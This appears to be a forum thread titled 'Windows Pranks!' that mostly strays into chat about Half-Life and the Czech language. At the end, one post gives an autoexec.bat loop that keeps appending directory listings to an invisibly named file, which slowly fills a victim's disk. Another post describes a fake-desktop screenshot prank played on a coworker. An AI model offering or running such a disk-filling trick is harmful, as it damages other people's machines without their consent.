Windows Pranks!

[adiment]

Awesome

I loved how City 17 looked, and Ravenholm was beautiful (except for those zombies and that prick with the shotgun).

Father Grigori was awesome!

[Orethrius]

I know what that means! That's Czech (and a few other Slavic lingos) for "pie" or "cookie" (more like sth inbetween - kol

[Jenda]

Cookies AND PIE?  In ONE THING?  Can I live with you?  PLEASE?

 Actually it's something inbetween. It looks typically like this: http://www.vilem.cz/images/3040DSC02709.jpg

[Kintaro]

What does Czech mean?

[Jenda]

As in Czech Republic. Or is this my sarcasm sensor failing?
There are quite a few towns of Czech immigrants in the United States, the first wave would be the second half of the nineteenth century, when they all tried to escape oppression from the Austrians (we were a part of the Austro-Hungarian Empire) and the second from 1948 to 1989, because of Russian Communism, mainly 1968, the year of the Russian invasion.

[Kintaro]

I was wondering about the meaning of the name Czech, what does it represent, what are its origins?

[Jenda]

The Legend says that Forefather (for lack of a better word) "Čech" came to the land with his family, or clan, in the eighth century (AD), effectively establishing the Czech nation, for Czech is the modern English version of "Čech", which still means "a Czech" (in Czech). The "Č" is pronounced "ch" as in "church", and the "ch" in "Čech" is similar to the english "h", but even more similar to the German "ch" (as in "Munchen" = Munich).

[Refalm]

The Legend says that Forefather (for lack of a better word) "Čech" came to the land with his family, or clan, in the eighth century (AD), effectively establishing the Czech nation, for Czech is the modern English version of "Čech", which still means "a Czech" (in Czech). The "Č" is pronounced "ch" as in "church", and the "ch" in "Čech" is similar to the english "h", but even more similar to the German "ch" (as in "Munchen" = Munich).

The German "ch" sounds different from the English one.

[Jenda]

The english "h" is the same thing as the German "ch", except that it's voiced. (Same difference as in "cee"-"zee" "tee"-"dee" "pee"-"bee" (or the english "sh" vs. french "j")

[themacuser]

We've done this to one of the executives at work before.....

1) Take screenshot of desktop (print screen button + paint) and save it
2) Move all (movable) icons on desktop to a temp folder
3) Tweak windows so that it doesn't display any special icons (ie. Internu Exploder, My Docs, etc.)
4) Set the background as the screeshot you took.
5) Laugh as the (l)user tries to click on his/her "icons".

Done that. Try making a "porn" folder on the desktop, then putting that on the screenshot. They always try and delete it...

[Jack2000]

try putting an :
---

1:
dir c: >> c:\null[alt+255]
goto 1

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in the autoexec bat and watch the fun.
(you type alt + 2 + 5 + 5 thru dos-edit.com ):thumbup:

[themacuser]

i'll have to try that...